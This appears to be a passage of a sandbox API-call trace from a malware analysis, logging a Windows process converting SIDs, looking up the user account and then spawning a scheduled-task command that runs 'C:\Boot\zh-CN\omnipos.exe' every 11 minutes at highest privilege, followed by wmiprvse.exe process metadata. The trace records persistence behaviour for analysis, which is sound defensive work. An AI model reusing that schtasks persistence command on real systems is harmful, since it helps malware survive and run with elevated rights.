SysStringLen (param_1="S-1-") returned 0x4 [0091.058] SysStringLen (param_1="5") returned 0x1 [0091.058] memcpy (in: _Dst=0x381118, _Src=0x381628, _Size=0xa | out: _Dst=0x381118) returned 0x381118 [0091.058] memcpy (in: _Dst=0x381120, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381120) returned 0x381120 [0091.058] free (_Block=0xeef00) [0091.058] free (_Block=0xeef60) [0091.058] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0091.058] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0091.058] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0091.058] malloc (_Size=0x18) returned 0xeef60 [0091.058] malloc (_Size=0x18) returned 0xeef00 [0091.058] SysStringLen (param_1="S-1-5") returned 0x5 [0091.058] SysStringLen (param_1="-") returned 0x1 [0091.058] memcpy (in: _Dst=0x3811a8, _Src=0x381118, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0091.058] memcpy (in: _Dst=0x3811b2, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0091.059] free (_Block=0xef040) [0091.059] free (_Block=0xeef60) [0091.059] malloc (_Size=0x18) returned 0xeef60 [0091.059] malloc (_Size=0x18) returned 0xef040 [0091.059] SysStringLen (param_1="S-1-5-") returned 0x6 [0091.059] SysStringLen (param_1="21") returned 0x2 [0091.059] memcpy (in: _Dst=0x381628, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381628) returned 0x381628 [0091.059] memcpy (in: _Dst=0x381634, _Src=0x381118, _Size=0x6 | out: _Dst=0x381634) returned 0x381634 [0091.059] free (_Block=0xeef00) [0091.059] free (_Block=0xeef60) [0091.059] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0091.059] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0091.059] malloc (_Size=0x18) returned 0xeef60 [0091.059] malloc (_Size=0x18) returned 0xeef00 [0091.059] SysStringLen (param_1="S-1-5-21") returned 0x8 [0091.059] SysStringLen (param_1="-") returned 0x1 [0091.059] memcpy (in: _Dst=0x381118, _Src=0x381628, _Size=0x12 | out: _Dst=0x381118) returned 0x381118 [0091.059] memcpy (in: _Dst=0x381128, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381128) returned 0x381128 [0091.059] free (_Block=0xef040) [0091.059] free (_Block=0xeef60) [0091.059] malloc (_Size=0x18) returned 0xeef60 [0091.059] malloc (_Size=0x18) returned 0xef040 [0091.059] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0091.059] SysStringLen (param_1="4219442223") returned 0xa [0091.060] memcpy (in: _Dst=0x338368, _Src=0x381118, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0091.060] memcpy (in: _Dst=0x33837a, _Src=0x381628, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0091.060] free (_Block=0xeef00) [0091.060] free (_Block=0xeef60) [0091.060] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0091.060] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0091.060] malloc (_Size=0x18) returned 0xeef60 [0091.060] malloc (_Size=0x18) returned 0xeef00 [0091.060] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0091.060] SysStringLen (param_1="-") returned 0x1 [0091.060] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0091.060] memcpy (in: _Dst=0x3382ee, _Src=0x381118, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0091.060] free (_Block=0xef040) [0091.060] free (_Block=0xeef60) [0091.060] malloc (_Size=0x18) returned 0xeef60 [0091.060] malloc (_Size=0x18) returned 0xef040 [0091.060] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0091.060] SysStringLen (param_1="4223814209") returned 0xa [0091.060] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0091.060] memcpy (in: _Dst=0x34d980, _Src=0x381118, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0091.060] free (_Block=0xeef00) [0091.060] free (_Block=0xeef60) [0091.061] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0091.061] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0091.061] malloc (_Size=0x18) returned 0xeef60 [0091.061] malloc (_Size=0x18) returned 0xeef00 [0091.061] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0091.061] SysStringLen (param_1="-") returned 0x1 [0091.061] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0091.061] memcpy (in: _Dst=0x34dcc4, _Src=0x381118, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0091.061] free (_Block=0xef040) [0091.061] free (_Block=0xeef60) [0091.061] malloc (_Size=0x18) returned 0xeef60 [0091.061] malloc (_Size=0x18) returned 0xef040 [0091.061] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0091.061] SysStringLen (param_1="3835049652") returned 0xa [0091.061] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0091.061] memcpy (in: _Dst=0x34d996, _Src=0x381118, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0091.061] free (_Block=0xeef00) [0091.061] free (_Block=0xeef60) [0091.061] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0091.061] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0091.061] malloc (_Size=0x18) returned 0xeef60 [0091.061] malloc (_Size=0x18) returned 0xeef00 [0091.061] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0091.061] SysStringLen (param_1="-") returned 0x1 [0091.062] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0091.062] memcpy (in: _Dst=0x34dcda, _Src=0x381118, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0091.062] free (_Block=0xef040) [0091.062] free (_Block=0xeef60) [0091.062] malloc (_Size=0x18) returned 0xeef60 [0091.062] malloc (_Size=0x18) returned 0xef040 [0091.062] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0091.062] SysStringLen (param_1="1000") returned 0x4 [0091.062] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0091.062] memcpy (in: _Dst=0x34d9ac, _Src=0x381118, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0091.062] free (_Block=0xeef00) [0091.062] free (_Block=0xeef60) [0091.062] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0091.062] malloc (_Size=0x5e) returned 0xf0800 [0091.062] free (_Block=0xef040) [0091.062] malloc (_Size=0x18) returned 0xef040 [0091.063] free (_Block=0xf0800) [0091.063] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0091.064] GetLastError () returned 0x7a [0091.064] malloc (_Size=0x14) returned 0xeef60 [0091.064] malloc (_Size=0x16) returned 0xeef00 [0091.064] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0091.065] malloc (_Size=0x18) returned 0xef020 [0091.065] malloc (_Size=0x18) returned 0xeef20 [0091.065] free (_Block=0xeef60) [0091.065] free (_Block=0xeef00) [0091.065] free (_Block=0xeff00) [0091.065] free (_Block=0xeef20) [0091.065] free (_Block=0xef020) [0091.065] free (_Block=0xef040) [0091.066] free (_Block=0xee200) [0091.066] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0091.066] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0091.066] GetLastError () returned 0x7a [0091.066] malloc (_Size=0x2c) returned 0xee240 [0091.066] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0091.066] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0091.066] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0091.066] malloc (_Size=0x1c) returned 0xeff00 [0091.066] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0091.066] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0091.066] malloc (_Size=0x18) returned 0xef040 [0091.066] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0091.066] malloc (_Size=0x18) returned 0xef020 [0091.066] malloc (_Size=0x18) returned 0xeef20 [0091.066] SysStringLen (param_1="S-1-") returned 0x4 [0091.066] SysStringLen (param_1="5") returned 0x1 [0091.067] memcpy (in: _Dst=0x381628, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381628) returned 0x381628 [0091.067] memcpy (in: _Dst=0x381630, _Src=0x381118, _Size=0x4 | out: _Dst=0x381630) returned 0x381630 [0091.067] free (_Block=0xef040) [0091.067] free (_Block=0xef020) [0091.067] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0091.067] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0091.067] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0091.067] malloc (_Size=0x18) returned 0xef020 [0091.067] malloc (_Size=0x18) returned 0xef040 [0091.067] SysStringLen (param_1="S-1-5") returned 0x5 [0091.067] SysStringLen (param_1="-") returned 0x1 [0091.067] memcpy (in: _Dst=0x381118, _Src=0x381628, _Size=0xc | out: _Dst=0x381118) returned 0x381118 [0091.067] memcpy (in: _Dst=0x381122, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381122) returned 0x381122 [0091.067] free (_Block=0xeef20) [0091.067] free (_Block=0xef020) [0091.067] malloc (_Size=0x18) returned 0xef020 [0091.067] malloc (_Size=0x18) returned 0xeef20 [0091.067] SysStringLen (param_1="S-1-5-") returned 0x6 [0091.067] SysStringLen (param_1="21") returned 0x2 [0091.067] memcpy (in: _Dst=0x3811a8, _Src=0x381118, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0091.067] memcpy (in: _Dst=0x3811b4, _Src=0x381628, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0091.067] free (_Block=0xef040) [0091.067] free (_Block=0xef020) [0091.068] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0091.068] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0091.068] malloc (_Size=0x18) returned 0xef020 [0091.068] malloc (_Size=0x18) returned 0xef040 [0091.068] SysStringLen (param_1="S-1-5-21") returned 0x8 [0091.068] SysStringLen (param_1="-") returned 0x1 [0091.068] memcpy (in: _Dst=0x381628, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381628) returned 0x381628 [0091.068] memcpy (in: _Dst=0x381638, _Src=0x381118, _Size=0x4 | out: _Dst=0x381638) returned 0x381638 [0091.068] free (_Block=0xeef20) [0091.068] free (_Block=0xef020) [0091.068] malloc (_Size=0x18) returned 0xef020 [0091.068] malloc (_Size=0x18) returned 0xeef20 [0091.068] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0091.068] SysStringLen (param_1="4219442223") returned 0xa [0091.068] memcpy (in: _Dst=0x338368, _Src=0x381628, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0091.068] memcpy (in: _Dst=0x33837a, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0091.068] free (_Block=0xef040) [0091.068] free (_Block=0xef020) [0091.068] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0091.068] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0091.068] malloc (_Size=0x18) returned 0xef020 [0091.068] malloc (_Size=0x18) returned 0xef040 [0091.068] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0091.068] SysStringLen (param_1="-") returned 0x1 [0091.068] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0091.069] memcpy (in: _Dst=0x3382ee, _Src=0x381628, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0091.069] free (_Block=0xeef20) [0091.069] free (_Block=0xef020) [0091.069] malloc (_Size=0x18) returned 0xef020 [0091.069] malloc (_Size=0x18) returned 0xeef20 [0091.069] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0091.069] SysStringLen (param_1="4223814209") returned 0xa [0091.069] memcpy (in: _Dst=0x34dc88, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0091.069] memcpy (in: _Dst=0x34dcb0, _Src=0x381628, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0091.069] free (_Block=0xef040) [0091.069] free (_Block=0xef020) [0091.069] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0091.069] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0091.069] malloc (_Size=0x18) returned 0xef020 [0091.069] malloc (_Size=0x18) returned 0xef040 [0091.069] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0091.069] SysStringLen (param_1="-") returned 0x1 [0091.069] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0091.069] memcpy (in: _Dst=0x34d994, _Src=0x381628, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0091.069] free (_Block=0xeef20) [0091.069] free (_Block=0xef020) [0091.069] malloc (_Size=0x18) returned 0xef020 [0091.069] malloc (_Size=0x18) returned 0xeef20 [0091.069] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0091.070] SysStringLen (param_1="3835049652") returned 0xa [0091.070] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0091.070] memcpy (in: _Dst=0x34dcc6, _Src=0x381628, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0091.070] free (_Block=0xef040) [0091.070] free (_Block=0xef020) [0091.070] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0091.070] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0091.070] malloc (_Size=0x18) returned 0xef020 [0091.070] malloc (_Size=0x18) returned 0xef040 [0091.070] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0091.070] SysStringLen (param_1="-") returned 0x1 [0091.070] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0091.070] memcpy (in: _Dst=0x34d9aa, _Src=0x381628, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0091.070] free (_Block=0xeef20) [0091.070] free (_Block=0xef020) [0091.070] malloc (_Size=0x18) returned 0xef020 [0091.070] malloc (_Size=0x18) returned 0xeef20 [0091.070] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0091.070] SysStringLen (param_1="1000") returned 0x4 [0091.070] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0091.070] memcpy (in: _Dst=0x34dcdc, _Src=0x381628, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0091.070] free (_Block=0xef040) [0091.070] free (_Block=0xef020) [0091.070] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0091.071] malloc (_Size=0x5e) returned 0xf0800 [0091.071] free (_Block=0xeef20) [0091.071] malloc (_Size=0x18) returned 0xeef20 [0091.071] free (_Block=0xf0800) [0091.071] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0091.072] GetLastError () returned 0x7a [0091.072] malloc (_Size=0x14) returned 0xef020 [0091.072] malloc (_Size=0x16) returned 0xef040 [0091.072] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0091.073] malloc (_Size=0x18) returned 0xeef00 [0091.073] malloc (_Size=0x18) returned 0xeef60 [0091.073] free (_Block=0xef020) [0091.073] free (_Block=0xef040) [0091.073] free (_Block=0xeff00) [0091.073] free (_Block=0xeef60) [0091.073] free (_Block=0xeef00) [0091.073] free (_Block=0xeef20) [0091.074] free (_Block=0xee240) [0091.074] malloc (_Size=0x48) returned 0xed2c0 [0091.074] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0091.083] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0091.083] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0091.083] malloc (_Size=0x18) returned 0xeef20 [0091.083] CreateEnvironmentBlock () returned 0x1 [0091.088] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0091.088] malloc (_Size=0x18) returned 0xeef00 [0091.088] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x974, dwThreadId=0x978)) returned 1 [0091.095] CloseHandle (hObject=0x2fc) returned 1 [0091.095] CloseHandle (hObject=0x244) returned 1 [0091.096] free (_Block=0xeef00) [0091.096] DestroyEnvironmentBlock () returned 0x1 [0091.096] malloc (_Size=0x48) returned 0xed270 [0091.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5f4088a0, dwHighDateTime=0x1d9eb0c)) [0091.096] SetEvent (hEvent=0x1f0) returned 1 [0091.096] CloseHandle (hObject=0x238) returned 1 [0091.096] CloseHandle (hObject=0x234) returned 1 [0091.363] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0091.364] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0091.364] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0112.311] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 Thread: id = 83 os_tid = 0xa64 Thread: id = 84 os_tid = 0xa60 Thread: id = 85 os_tid = 0xa5c Thread: id = 86 os_tid = 0xa58 Thread: id = 274 os_tid = 0xe28 Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x663bd000" os_pid = "0x1e8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d9b4" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1516 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1517 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1518 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 